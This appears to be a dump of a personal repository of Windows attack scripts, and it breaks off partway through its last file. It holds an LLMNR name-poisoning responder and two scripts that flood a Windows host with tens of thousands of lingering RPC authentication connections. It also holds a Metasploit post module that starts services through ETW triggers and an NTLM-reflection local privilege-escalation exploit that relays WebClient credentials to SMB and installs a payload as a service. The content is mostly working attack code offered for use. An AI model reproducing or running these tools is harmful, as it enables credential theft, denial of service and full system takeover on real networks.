├── blah.txt ├── README.md ├── wpad_llmnr.py ├── soapy.py ├── rpc_con_flood.py ├── railgun_trigger.rb ├── service_triggers.rb ├── rpc_blast.py ├── one_day.rb └── reflection_testing.py /blah.txt: -------------------------------------------------------------------------------- 1 | I really miss this kind of stuff :( 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Stuff that is very usefull in special situations 2 | 3 | railgun_trigger.rb = Some notes about railgun and event/service triggers 4 | 5 | wpad_lmnr.py = a simple llmnr respoder. 6 | 7 | soapy.py = a simple WebServicesOnDevice responder, should... make a connection to IP/Port specified. 8 | 9 | rpc_con_flood.py = Make 60k auth request via rpc and leave them open... 0.o 10 | 11 | reflection_testing.py = a exploitation testing script for issue 222... the options! 12 | 13 | 14 | -------------------------------------------------------------------------------- /wpad_llmnr.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import binascii 4 | 5 | MCAST_GRP = '224.0.0.252' 6 | MCAST_PORT = 5355 7 | 8 | malip = '192.168.1.137' 9 | port = 5355 10 | 11 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) 12 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 13 | # bind to multicast ip and port 14 | sock.bind((MCAST_GRP, MCAST_PORT)) 15 | # notify that we are listening 16 | mreq = struct.pack("4sl", socket.inet_aton(MCAST_GRP), socket.INADDR_ANY) 17 | sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) 18 | 19 | 20 | 21 | # trusty packet construct 22 | def pakit(transid, rname, respip): 23 | msg = transid # msg transact ID 24 | msg += '\x80\00' # quary response 25 | msg += '\x00\x01' # questions = 16 26 | msg += '\x00\x01' # anser RRs = 16 27 | msg += '\x00\x00' 28 | msg += '\x00\x00' 29 | msg += struct.pack(">h",len(rname))[1] 30 | msg += rname 31 | msg += '\x00' # null? 32 | msg += '\x00\x01' # type 33 | msg += '\x00\x01' # class 34 | msg += struct.pack(">h",len(rname))[1] # has to have this 35 | msg += rname 36 | msg += '\x00' # null? 37 | msg += '\x00\x01' # Type 38 | msg += '\x00\x01' # class # 01 = IN 39 | msg += '\x00\x00\x00\x1e' # poison time 30sec 40 | msg += '\x00\x04' # IP len ??? 41 | msg += socket.inet_aton(respip) 42 | return msg 43 | 44 | 45 | # parse the sequence num, name, and quary type A or AAAA 46 | def parse_llmnr(data): 47 | NameLen = struct.unpack('>B',data[12])[0] 48 | Name = data[13:13+NameLen] 49 | Tid=data[0:2] 50 | Typ=data[len(data)-4:len(data)-2] 51 | return Name, Tid, Typ 52 | 53 | 54 | while True: 55 | pkt, ip = sock.recvfrom(1024) 56 | if pkt != '': 57 | # parse the name and transact ID 58 | nam, tid, typ = parse_llmnr(pkt) 59 | # only respond to type A 60 | if typ == '\x00\x01': 61 | # package it up for the response 62 | msg = pakit(tid, nam, malip) 63 | # Send the reply from our bound socket to incoming ip and port 64 | sock.sendto(msg, (ip[0], ip[1])) 65 | # print the hex of everything 66 | print binascii.hexlify(tid), nam, binascii.hexlify(pkt) 67 | -------------------------------------------------------------------------------- /soapy.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import binascii 4 | import time 5 | 6 | MCAST_GRP = '224.0.0.252' 7 | MCAST_PORT = 3702 8 | 9 | send_ip = '239.255.255.250' 10 | malip = '127.0.0.1' 11 | port = 3702 12 | 13 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) 14 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 15 | sock.bind(('127.0.0.1', 64444)) # use MCAST_GRP instead of '' to listen only to MCAST_GRP, not all groups on MCAST_PORT 16 | mreq = struct.pack("4sl", socket.inet_aton(MCAST_GRP), socket.INADDR_ANY) 17 | sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) 18 | 19 | 20 | aaa = '''urn:schemas-xmlsoap-org:ws:2005:04:discoveryhttp://schemas.xmlsoap.org/ws/2005/04/discovery/Hellourn:uuid:b1233b21-ebf7-45d8-9432-24b2fd819322urn:uuid:efd10641-9f23-4fd3-98a4-02c3d2b28e66wsdp:Device pub:Computerhttp://127.0.0.1:5358/efd10641-9f23-4fd3-98a4-02c3d2b28e66/1''' 21 | 22 | aa = '''urn:schemas-xmlsoap-org:ws:2005:04:discoveryhttp://schemas.xmlsoap.org/ws/2005/04/discovery/Probeurn:uuid:b1233b21-ebf7-45d8-9432-24b2fd819322wsdp:Device''' 23 | 24 | 25 | while True: 26 | time.sleep(1) 27 | ss = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 28 | sock.sendto(aa, (send_ip, port)) 29 | sock.sendto(aaa, (send_ip, port)) 30 | -------------------------------------------------------------------------------- /rpc_con_flood.py: -------------------------------------------------------------------------------- 1 | from impacket.dcerpc.v5.rpcrt import * 2 | from impacket.dcerpc.v5 import transport, dcomrt 3 | from impacket.uuid import string_to_bin, uuidtup_to_bin 4 | # This should make 60,000+ open connections on a windows box 5 | # rpc has a crazy default timeout so they last awile.. 15min+ 6 | # All connections are also authentication requests... 7 | # Sometimes tcp will fail, sometimes it wont. 8 | # Its rather fun regardless! 9 | 10 | def first_msg_transfer(first_auth_packet, rtransport): 11 | abstract_syntax = ('99fcfec4-5260-101b-bbcb-00aa0021347a', '0.0') 12 | transfer_syntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') 13 | ctx = 0 14 | callid = 1 15 | bind = MSRPCBind() 16 | item = CtxItem() 17 | item['AbstractSyntax'] = uuidtup_to_bin(abstract_syntax) 18 | item['TransferSyntax'] = uuidtup_to_bin(transfer_syntax) 19 | item['ContextID'] = ctx 20 | item['TransItems'] = 1 21 | bind.addCtxItem(item) 22 | packet = MSRPCHeader() 23 | packet['type'] = MSRPC_BIND 24 | packet['pduData'] = str(bind) 25 | packet['call_id'] = callid 26 | sec_trailer = SEC_TRAILER() 27 | sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT 28 | sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_CONNECT 29 | sec_trailer['auth_ctx_id'] = ctx + 79231 30 | pad = (4 - (len(packet.get_packet()) % 4)) % 4 31 | if pad != 0: 32 | packet['pduData'] += '\xFF'*pad 33 | sec_trailer['auth_pad_len']=pad 34 | packet['sec_trailer'] = sec_trailer 35 | # We insert that shit here!!!!!!!!!! 36 | packet['auth_data'] = str(first_auth_packet) 37 | rtransport.connect() 38 | rtransport.send(packet.get_packet()) 39 | 40 | 41 | ip = '192.168.1.1' 42 | stringBinding = r'ncacn_ip_tcp:%s' % ip 43 | rtransport = transport.DCERPCTransportFactory(stringBinding) 44 | 45 | # You can mess with the flags if you like! 46 | dummy_ntlm = 'NTLMSSP\x00\x01\x00\x00\x00\x06\xb2\x08\xa2\t\x00\t\x00\x30\x00\x00\x00\x08\x00\x08\x00(\x00\x00\x00\n\x00\x00(\x00\x00\x00\x0fCOMPNAMEWORKGROUP' 47 | 48 | for i in range(64000): 49 | first_msg_transfer(dummy_ntlm, rtransport) 50 | print 'Making Connection: %s' % i 51 | 52 | 53 | 54 | 55 | # We need to edit linux a bit to block some packets, its pretty simple. 56 | # To Enable It # 57 | ''' 58 | iptables -I OUTPUT -p tcp --tcp-flags FIN,ACK FIN,ACK -j DROP 59 | iptables -I OUTPUT -p tcp --tcp-flags FIN,PSH,ACK FIN,PSH,ACK -j DROP 60 | iptables -I OUTPUT -p tcp --tcp-flags RST,ACK RST,ACK -j DROP 61 | # Remove the finwait1 62 | echo 0 > /proc/sys/net/ipv4/tcp_max_orphans 63 | # Set a larger port range 64 | echo '1024 65000' > /proc/sys/net/ipv4/ip_local_port_range 65 | ''' 66 | 67 | # To Disable It # 68 | ''' 69 | iptables -F 70 | echo 4096 > /proc/sys/net/ipv4/tcp_max_orphans 71 | echo '32768 61000' > /proc/sys/net/ipv4/ip_local_port_range 72 | ''' 73 | -------------------------------------------------------------------------------- /railgun_trigger.rb: -------------------------------------------------------------------------------- 1 | # Works on 64bit win10 with 64bit meter. 2 | # Crashes on 32bit meter with EventWrite, 3 | # have not tested with 7, 8, 8.1 4 | 5 | # Add the EventRegister function 6 | # https://msdn.microsoft.com/en-us/library/windows/desktop/aa363744%28v=vs.85%29.aspx 7 | client.railgun.add_function('advapi32', 'EventRegister', 'DWORD', [ 8 | ['PBLOB', 'ProviderId', 'in'], 9 | ['LPVOID', 'EnableCallback', 'inout'], 10 | ['LPVOID', 'CallbackContext', 'inout'], 11 | ['PDWORD', 'RegHandle', 'out'], 12 | ]) 13 | 14 | # Add the EventWriteString function, could also be EventWrite 15 | # https://msdn.microsoft.com/is-is/library/windows/desktop/aa363750%28v=vs.85%29.aspx 16 | client.railgun.add_function('advapi32', 'EventWriteString', 'DWORD',[ 17 | ['HANDLE', 'RegHandle', 'in'], 18 | ['DWORD', 'Level', 'in'], 19 | ['DWORD', 'Keyword', 'in'], 20 | ['PCHAR', 'String', 'in'], 21 | ]) 22 | 23 | # https://msdn.microsoft.com/en-us/library/windows/desktop/aa363749%28v=vs.85%29.aspx 24 | client.railgun.add_function('advapi32', 'EventUnregister', 'DWORD',[ 25 | ['HANDLE', 'RegHandle', 'in'], 26 | ]) 27 | 28 | # The way to format our guid correctly! 29 | def string_to_guid(guid) 30 | aguid = guid.gsub(/\-/,"") 31 | sguid = aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2] 32 | sguid << aguid[10,2] + aguid[8,2] + aguid[14,2] + aguid[12,2] + aguid[16,4] 33 | sguid << aguid[20,12] 34 | sguid = [sguid].pack("H*") 35 | return sguid 36 | end 37 | 38 | 39 | # Windows error reporting guid 40 | # wer = 'e46eead8-0c54-4489-9898-8fa79d059e0e' 41 | # WebClient guid! 42 | webclnt = '22b6d684-fa63-4578-87c9-effcbe6643c7' 43 | 44 | # Format the guid and get the reghandle 45 | ggid = string_to_guid(webclnt) 46 | # Register the event and get back the handle 47 | evnt = client.railgun.advapi32.EventRegister(ggid,nil,nil,4) 48 | 49 | # Use the handle to write our eventstring, it must be null terminated atleast it says so lol! 50 | client.railgun.advapi32.EventWriteString(evnt['RegHandle'], nil, nil, '\0') 51 | 52 | # Unregister the event 53 | client.railgun.advapi32.EventUnregister(evnt['RegHandle']) 54 | 55 | ############################################################################################# 56 | ############################################################################################# 57 | =begin 58 | ## https://msdn.microsoft.com/en-us/library/system.diagnostics.eventing.eventdescriptor%28v=vs.110%29.aspx 59 | # new EventDescriptor(0x1, 0x0, 0x10, 0x4, 0x0, 0x0, (long)0x8000000000000005) 60 | # This is whats in our example EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0) 61 | 62 | 63 | # Add the function EventWrite 64 | client.railgun.add_function('advapi32', 'EventWrite', 'DWORD', [ 65 | ['HANDLE', 'RegHandle', 'in'], 66 | ['PBLOB', 'EventDescriptor', 'in'], 67 | ['DWORD', 'UserDataCount', 'in'], 68 | ['DWORD', 'UserData', 'inout'], 69 | ]) 70 | 71 | client.railgun.advapi32.EventWrite(evnt['RegHandle'], ['101040080000000000000005'].pack('H*'), 0, nil) 72 | =end 73 | -------------------------------------------------------------------------------- /service_triggers.rb: -------------------------------------------------------------------------------- 1 | ### 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ### Tested on win10 64bit 5 | 6 | # TODO Lots of error checking, also we could check and list every service that could be used. 7 | class Metasploit3 < Msf::Post 8 | 9 | def initialize(info={}) 10 | super( update_info( info, 11 | 'Name' => 'Windows Service Trigger Activation (ETW)', 12 | 'Description' => %q{ 13 | This module uses service triggers (ETW) to start a service as a lower privilege user. 14 | Be careful to make sure you are on a proper meterp session, aka 64 => 64 otherwise 15 | you might crash your session. To get the guid for a service execute 16 | sc.exe qtriggerinfo servicename, you are looking for the ETW Provider GUID. 17 | This module could also have other uses! 18 | }, 19 | 'License' => MSF_LICENSE, 20 | 'Author' => ['vvalien'], 21 | 'Platform' => 'win', 22 | 'SessionTypes' => [ 'meterpreter' ] 23 | )) 24 | 25 | register_options([ 26 | OptString.new( 'GUID_TRIGGER', [ true, 'The GUID to trigger', '22b6d684-fa63-4578-87c9-effcbe6643c7']) #WebClient 27 | ], self.class) 28 | end 29 | 30 | def run 31 | # set the guid 32 | guid = datastore['GUID_TRIGGER'] 33 | guid = guid_magic(guid) 34 | print_status("Loading railgun") 35 | load_railgun 36 | print_status("Registering event..") 37 | fire_railgun(guid) 38 | print_good("Finished") 39 | end 40 | 41 | def guid_magic(guid) 42 | aguid = guid.gsub(/\-/,"") 43 | sguid = aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2] 44 | sguid << aguid[10,2] + aguid[8,2] + aguid[14,2] + aguid[12,2] + aguid[16,4] 45 | sguid << aguid[20,12] 46 | sguid = [sguid].pack("H*") 47 | return sguid 48 | end 49 | 50 | 51 | def load_railgun() 52 | # Add the EventRegister function 53 | # https://msdn.microsoft.com/en-us/library/windows/desktop/aa363744%28v=vs.85%29.aspx 54 | client.railgun.add_function('advapi32', 'EventRegister', 'DWORD',[ 55 | ['PBLOB', 'ProviderId', 'in'], 56 | ['LPVOID', 'EnableCallback', 'inout'], 57 | ['LPVOID', 'CallbackContext', 'inout'], 58 | ['PDWORD', 'RegHandle', 'out'], 59 | ]) 60 | 61 | # Add the EventWriteString function, could also be EventWrite 62 | # https://msdn.microsoft.com/is-is/library/windows/desktop/aa363750%28v=vs.85%29.aspx 63 | client.railgun.add_function('advapi32', 'EventWriteString', 'DWORD',[ 64 | ['HANDLE', 'RegHandle', 'in'], 65 | ['DWORD', 'Level', 'in'], 66 | ['DWORD', 'Keyword', 'in'], 67 | ['PCHAR', 'String', 'in'], 68 | ]) 69 | 70 | # https://msdn.microsoft.com/en-us/library/windows/desktop/aa363749%28v=vs.85%29.aspx 71 | client.railgun.add_function('advapi32', 'EventUnregister', 'DWORD',[ 72 | ['HANDLE', 'RegHandle', 'in'], 73 | ]) 74 | end 75 | 76 | def fire_railgun(guid) 77 | # Register the event and get back the handle 78 | evnt = client.railgun.advapi32.EventRegister(guid,nil,nil,4) 79 | # Use the handle to write our eventstring! 80 | client.railgun.advapi32.EventWriteString(evnt['RegHandle'], nil, nil, '') 81 | # Unregister to clean it up 82 | client.railgun.advapi32.EventUnregister(evnt['RegHandle']) 83 | end 84 | end 85 | -------------------------------------------------------------------------------- /rpc_blast.py: -------------------------------------------------------------------------------- 1 | from impacket.dcerpc.v5.rpcrt import * 2 | from impacket.dcerpc.v5 import transport, dcomrt 3 | from impacket.uuid import string_to_bin, uuidtup_to_bin 4 | import sys, os, struct 5 | # This should make 60,000+ open connections on a windows box 6 | # rpc has a crazy default timeout so they last awile.. 15min+ 7 | # All connections are also authentication requests... 8 | # Sometimes tcp will fail, sometimes it wont. 9 | # Its rather fun regardless! 10 | 11 | 12 | def first_msg_transfer(first_auth_packet, rtransport): 13 | abstract_syntax = ('99fcfec4-5260-101b-bbcb-00aa0021347a', '0.0') 14 | transfer_syntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') 15 | ctx = 0 16 | callid = 1 17 | bind = MSRPCBind() 18 | item = CtxItem() 19 | item['AbstractSyntax'] = uuidtup_to_bin(abstract_syntax) 20 | item['TransferSyntax'] = uuidtup_to_bin(transfer_syntax) 21 | item['ContextID'] = ctx 22 | item['TransItems'] = 1 23 | bind.addCtxItem(item) 24 | packet = MSRPCHeader() 25 | packet['type'] = MSRPC_BIND 26 | packet['pduData'] = str(bind) 27 | packet['call_id'] = callid 28 | sec_trailer = SEC_TRAILER() 29 | sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT 30 | sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_CONNECT 31 | sec_trailer['auth_ctx_id'] = ctx + 79231 32 | pad = (4 - (len(packet.get_packet()) % 4)) % 4 33 | if pad != 0: 34 | packet['pduData'] += '\xFF'*pad 35 | sec_trailer['auth_pad_len']=pad 36 | packet['sec_trailer'] = sec_trailer 37 | # We insert that shit here!!!!!!!!!! 38 | packet['auth_data'] = str(first_auth_packet) 39 | rtransport.connect() 40 | rtransport.send(packet.get_packet()) 41 | 42 | 43 | if len(sys.argv) < 3: 44 | print("%s " % sys.argv[0]) 45 | print("%s iptables " % sys.argv[0]) 46 | sys.exit(0) 47 | 48 | if sys.argv[1] == "iptables": 49 | if sys.argv[2] == "enable": 50 | os.system("iptables -I OUTPUT -p tcp --tcp-flags FIN,ACK FIN,ACK -j DROP") 51 | os.system("iptables -I OUTPUT -p tcp --tcp-flags FIN,PSH,ACK FIN,PSH,ACK -j DROP") 52 | os.system("iptables -I OUTPUT -p tcp --tcp-flags RST,ACK RST,ACK -j DROP") 53 | # Remove the finwait1 54 | os.system("echo 0 > /proc/sys/net/ipv4/tcp_max_orphans") 55 | # Set a larger port range 56 | os.system("echo '1024 65000' > /proc/sys/net/ipv4/ip_local_port_range") 57 | sys.exit(0) 58 | elif sys.argv[2] == "disable": 59 | os.system("iptables -F") 60 | os.system("echo 4096 > /proc/sys/net/ipv4/tcp_max_orphans") 61 | os.system("echo '32768 61000' > /proc/sys/net/ipv4/ip_local_port_range") 62 | sys.exit(0) 63 | else: 64 | print("Please use enable or disable, disable will flush iptables") 65 | print("Thank You!") 66 | sys.exit(0) 67 | 68 | 69 | 70 | ip = sys.argv[1] 71 | stringBinding = r'ncacn_ip_tcp:%s' % ip 72 | rtransport = transport.DCERPCTransportFactory(stringBinding) 73 | comp = "COMP" 74 | domain = "DOMAIN" 75 | if len(sys.argv) < 4: 76 | comp, domain = sys.argv[2].upper().split("/") # upcase then split 77 | print("Using %s/%s for Computer and Domain name" % (comp, domain)) 78 | 79 | 80 | # You can mess with the flags if you like! 81 | # Works but not easy to change the computer/domain because of length... so we use this 82 | # doesnt seem like much but i used to think this was impossible for me :p 83 | dummy_ntlm = 'NTLMSSP\x00\x01\x00\x00\x00' 84 | dummy_ntlm += "\x06\xb2\x08\xa2" #flags # struct.pack("I", 0xa208b206) ;) 85 | dummy_ntlm += struct.pack("h", len(domain)) 86 | dummy_ntlm += struct.pack("h", len(domain)) 87 | dummy_ntlm += "\x00\x00\x00\x00" # 20:24 88 | dummy_ntlm += struct.pack("h", len(comp)) 89 | dummy_ntlm += struct.pack("h", len(comp)) 90 | dummy_ntlm += "\x00\x00\x00\x00" # 28:32 91 | dummy_ntlm += "\x0a\x00\x00\x28\x00\x00\x00\x0f" # version! 92 | # how its done! 93 | dummy_ntlm = dummy_ntlm[:20] + struct.pack("i", len(dummy_ntlm)) + dummy_ntlm[24:] 94 | dummy_ntlm += domain 95 | dummy_ntlm = dummy_ntlm[:28] + struct.pack("i", len(dummy_ntlm)) + dummy_ntlm[32:] 96 | dummy_ntlm += comp 97 | 98 | 99 | def con_spam(): 100 | count = 0 101 | for i in range(64000): 102 | if i % 10000 == 0: 103 | count += 1 104 | print("Made %sk connects" % count) 105 | first_msg_transfer(dummy_ntlm, rtransport) 106 | #print 'Making Connection: %s' % i 107 | con_spam() 108 | -------------------------------------------------------------------------------- /one_day.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | require 'rex' 6 | require 'msf/core' 7 | 8 | # Removed some things that should be included... 9 | class MetasploitModule < Msf::Exploit::Local 10 | Rank = ExcellentRanking 11 | # errors with remove_socket 12 | # include Msf::Exploit::Remote::SMB::Client::Psexec 13 | include Rex::Constants::Windows 14 | include Msf::Exploit::Powershell 15 | include Msf::Exploit::EXE 16 | include Msf::Exploit::WbemExec 17 | 18 | 19 | def initialize(info = {}) 20 | super(update_info(info, 21 | 'Name' => 'Windows Local Priv NTLM Reflection', 22 | 'Description' => %q{ 23 | This module relays NTLM Credentials from Windows via WebClient and replays them 24 | back to smb. It is usefull for local priv and other things, upon successful connect 25 | it will let you use powershell to execute a msf payload installed as a service. 26 | WebClient must be enabled but you can do that via the service_trigger post module. 27 | This module works for ALL windows versions, however you will need to find a vulnerable 28 | process running as SYSTEM that can connect to the localhost. 29 | }, 30 | 'Author' => 31 | [ 32 | 'vvalien' # ... still delivering pizza =[ 33 | # 'breenmachine', # Potato 34 | # 'tiraniddo' # Orignal POC 35 | ], 36 | 'License' => MSF_LICENSE, 37 | 'SessionTypes' => [ 'meterpreter' ], 38 | 'Payload' => 39 | { 40 | 'Space' => 3072, 41 | 'DisableNops' => true, 42 | 'StackAdjustment' => -3500 43 | }, 44 | 'References' => 45 | [ 46 | [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=222' ], 47 | [ 'URL', 'http://foxglovesecurity.com/2016/01/16/hot-potato/' ] 48 | ], 49 | 'DisclosureDate' => 'Jan 01 1999', 50 | 'Platform' => 'win', 51 | 'Arch' => [ARCH_X86, ARCH_X86_64], 52 | 'Targets' => 53 | [ # not fully implamented yet 54 | [ 'PowerShell', { } ], 55 | [ 'Native upload', { } ], 56 | [ 'MOF upload', { } ] 57 | ], 58 | 'DefaultTarget' => 0 59 | )) 60 | 61 | 62 | 63 | # No importing psexec this way, which errors out with remove_socket 64 | register_options([ 65 | OptAddress.new('RHOST', [true, "The target address on local system", "127.0.0.1"]), 66 | OptPort.new('RPORT', [true, "Set the SMB service port", 445]), 67 | OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing", nil]), 68 | OptString.new('SERVICE_DISPLAY_NAME', [false, "The service display name", nil]), 69 | OptString.new('SERVICE_NAME', [false, "The service name", nil]) 70 | ], self.class) 71 | register_advanced_options([ 72 | OptString.new('LocalHost', [false, "The server's internal IP address", "127.0.0.1"]), 73 | OptPort.new('LocalPort', [false, "The server's internal port", 80]), # \\127.0.0.1@SSL@4444\abc.gif 74 | OptBool.new('SERVICE_PERSIST', [false, "Create an Auto run service and do not remove it", false]) 75 | ], self.class) 76 | # ReverseListenerComm will work! 77 | deregister_options('SMBPass', 'SMBUser', 'SMBDomain') # This is already set 78 | end 79 | 80 | # would be nice to be able to do this! 81 | =begin 82 | def smb_psexec_simple(ser_sock) 83 | command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) 84 | # ser_sock.psexec(command) 85 | end 86 | =end 87 | 88 | # Its staying 89 | def exploit() 90 | setup_railgun() 91 | sleep(1) 92 | end 93 | 94 | # Use win api to create a tcp server on the box 95 | # This actually works really well, maybe consider adding this in future 96 | def setup_railgun() 97 | # Our new added function for railgun (send) will use rubys send. 98 | client.railgun.add_function('ws2_32', 'sendit', 'DWORD',[ 99 | ["DWORD","s","in"], 100 | ["PCHAR","buf","in"], 101 | ["DWORD","len","in"], 102 | ["DWORD","flags","in"], 103 | ], windows_name='send') 104 | 105 | handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP') 106 | sock = handler['return'] 107 | 108 | # Setup our socket format 109 | # Incase you want to bind to something other than 127 110 | sock_addr = "\x02\x00" 111 | sock_addr << [datastore['LocalPort']].pack('n') 112 | sock_addr << Rex::Socket.addr_aton(datastore['LocalHost']) 113 | sock_addr << "\x00" * 8 114 | 115 | # Bind, Listen, and then block till we accept. 116 | r = client.railgun.ws2_32.bind(sock, sock_addr, 16) 117 | print_status("Socket bind with ws2_32") 118 | # Set the name here so we can kill it later! 119 | # random_service = Rex::Text.rand_text_alpha((rand(8)+6)) 120 | begin 121 | # proc_start(random_service) 122 | # print_status("Process Started") 123 | r = client.railgun.ws2_32.listen(sock, 10) 124 | print_status("Socket is now listening on #{datastore['LocalHost']} we are waiting for a connect") 125 | r = client.railgun.ws2_32.accept(sock, nil, nil) 126 | @n_sock = r['return'] # our new socket 127 | rescue 128 | print_error("Something happened there was a error") 129 | else 130 | railgun_recv_smb_do # handels railgun recv and smb calls 131 | ensure 132 | # If we dont ensure it, it will hold 80 open until restart if error. 133 | print_status("Ensure we close the socket") 134 | client.railgun.ws2_32.closesocket(sock) 135 | client.railgun.ws2_32.closesocket(@n_sock) 136 | if @rsock 137 | @rsock.shutdown() 138 | end 139 | # kill_proc(random_service) 140 | end 141 | end 142 | 143 | # We simply send and msg using our new sendit function 144 | def resp_check_send(b64_ntlm) 145 | snd_buff = "HTTP/1.1 401 Unauthorized\n" 146 | snd_buff << "Server: PizzaDelivery/9 Bro/1.1.1\n" 147 | snd_buff << "Date: Thu, 1 Jan 1970 00:00:01 UTC\n" 148 | snd_buff << "WWW-Authenticate: NTLM #{b64_ntlm}\n" 149 | snd_buff << "Content-type: text/html\n" 150 | snd_buff << "Content-Length: 0\n\n" 151 | r = client.railgun.ws2_32.sendit(@n_sock, snd_buff, snd_buff.length, 0) 152 | sleep(1) 153 | return 154 | end 155 | 156 | def railgun_recv_smb_do() 157 | count = 1 158 | while count < 4 # incase of endless read loop 159 | nt = /NTLM\s((.)*)/ # If it works... keep it! 160 | r = client.railgun.ws2_32.recv(@n_sock, ' ' * 1024, 1024, 0) 161 | msg = r['buf'] 162 | hash = (msg.match nt) 163 | if hash 164 | vprint_status("Got Hash1: #{hash[1]}") 165 | # No need to check which msg, we just continue here 166 | message = Rex::Text.decode_base64(hash[1]) 167 | hash2, ser_sock = smb_relay_toserver1(message) 168 | vprint_status("Got Hash2: #{hash2}") 169 | resp_check_send(hash2) 170 | r = client.railgun.ws2_32.recv(@n_sock, ' ' * 1024, 1024, 0) 171 | msg = r['buf'] 172 | hash3 = (msg.match nt) 173 | vprint_status("Got Hash3: #{hash3[1]}") 174 | hash3 = Rex::Text.decode_base64(hash3[1]) 175 | ser_sock = smb_relay_toserver3(hash3, ser_sock) 176 | smb_pshell(ser_sock) 177 | break 178 | else 179 | print_status(msg.strip) 180 | resp_check_send(nil) 181 | end 182 | count += 1 183 | end 184 | end 185 | 186 | # Relay ntlm hash1 to smb 187 | def smb_relay_toserver1(hash) 188 | @rsock = Rex::Socket::Tcp.create( 189 | 'PeerHost' => datastore['RHOST'], 190 | 'PeerPort' => datastore['RPORT'], 191 | 'Timeout' => 3, 192 | 'Comm' => client, # OMFG!!! THE PAIN!!! 193 | 'Context' => { 'Msf' => framework, 'MsfExploit'=> self, } 194 | ) 195 | 196 | if (not @rsock) 197 | print_error("Could not connect to target host (#{datastore['RHOST']})") 198 | return 199 | end 200 | ser_sock = Rex::Proto::SMB::SimpleClient.new(@rsock, datastore['RPORT'] == 445 ? true : false) 201 | 202 | if (datastore['RPORT'] == '139') 203 | ser_sock.client.session_request() 204 | end 205 | 206 | ser_sock.client.negotiate(true) 207 | ser_sock.client.require_signing = false 208 | 209 | print_status("Starting hash relay") 210 | resp = ser_sock.client.session_setup_with_ntlmssp_blob(hash, false) # if set true, it automagicly recv's 211 | print_status("Got the response") 212 | resp = ser_sock.client.smb_recv_parse(Rex::Proto::SMB::Constants::SMB_COM_SESSION_SETUP_ANDX, true) 213 | # Save the user_ID for future requests 214 | ser_sock.client.auth_user_id = resp['Payload']['SMB'].v['UserID'] 215 | 216 | begin 217 | # hash extraction 218 | ntlmsspblob = 'NTLMSSP' << (resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) << "\x00\x00" 219 | rescue ::Exception => e 220 | print_error("Type 2 response not read properly from server") 221 | raise e 222 | end 223 | hash2_b64 = Rex::Text.encode_base64(ntlmsspblob) 224 | return [hash2_b64, ser_sock] 225 | end 226 | 227 | 228 | # relay ntlm hash3 to SMB 229 | def smb_relay_toserver3(hash, ser_sock) 230 | resp = ser_sock.client.session_setup_with_ntlmssp_blob(hash, false, ser_sock.client.auth_user_id) 231 | resp = ser_sock.client.smb_recv_parse(Rex::Proto::SMB::Constants::SMB_COM_SESSION_SETUP_ANDX, true) 232 | # check if auth was successful 233 | if (resp['Payload']['SMB'].v['ErrorClass'] == 0) 234 | print_status("SMB auth relay succeeded") 235 | else 236 | failure = Rex::Proto::SMB::Exceptions::ErrorCode.new 237 | failure.word_count = resp['Payload']['SMB'].v['WordCount'] 238 | failure.command = resp['Payload']['SMB'].v['Command'] 239 | failure.error_code = resp['Payload']['SMB'].v['ErrorClass'] 240 | raise failure 241 | end 242 | return ser_sock 243 | end 244 | 245 | 246 | # Stolen from psexec I couldnt figure out how to overwrite the socket 247 | def smb_pshell(ser_sock) 248 | # Connect to the IPC share first 249 | ser_sock.client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$") 250 | # The uuid for SVCCTL 251 | uuidv = ['367abb81-9844-35f1-ad32-98f038001003', '2.0'] 252 | # Setup the svcctl handle 253 | handle = Rex::Proto::DCERPC::Handle.new(uuidv, 'ncacn_np', datastore['RHOST'], ["\\svcctl"]) 254 | opts = { 255 | 'Msf' => framework, 256 | 'MsfExploit' => self, 257 | 'smb_pipeio' => 'rw', 258 | 'smb_client' => ser_sock 259 | } 260 | print_status("Bound to #{handle} ...") 261 | # Route the dcerpc pipe over our authenticated socket 262 | dcerpc = Rex::Proto::DCERPC::Client.new(handle, ser_sock.socket, opts) 263 | svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc) 264 | # Open the scmanager 265 | scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST']) 266 | # Check to see if persist is on 267 | if datastore['SERVICE_PERSIST'] 268 | opts = { :start => SERVICE_AUTO_START } 269 | else 270 | opts = {} 271 | end 272 | peer = datastore['RHOST'] 273 | vprint_status("#{peer} - Attempting to create the service...") 274 | service_name = datastore['SERVICE_NAME'] ||= Rex::Text.rand_text_alpha(8) 275 | display_name = datastore['SERVICE_DISPLAY_NAME'] ||= Rex::Text.rand_text_alpha(8) 276 | 277 | # This is where we get our payload at! 278 | command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) 279 | 280 | begin 281 | # remember svc_client is routed over our smb connection via 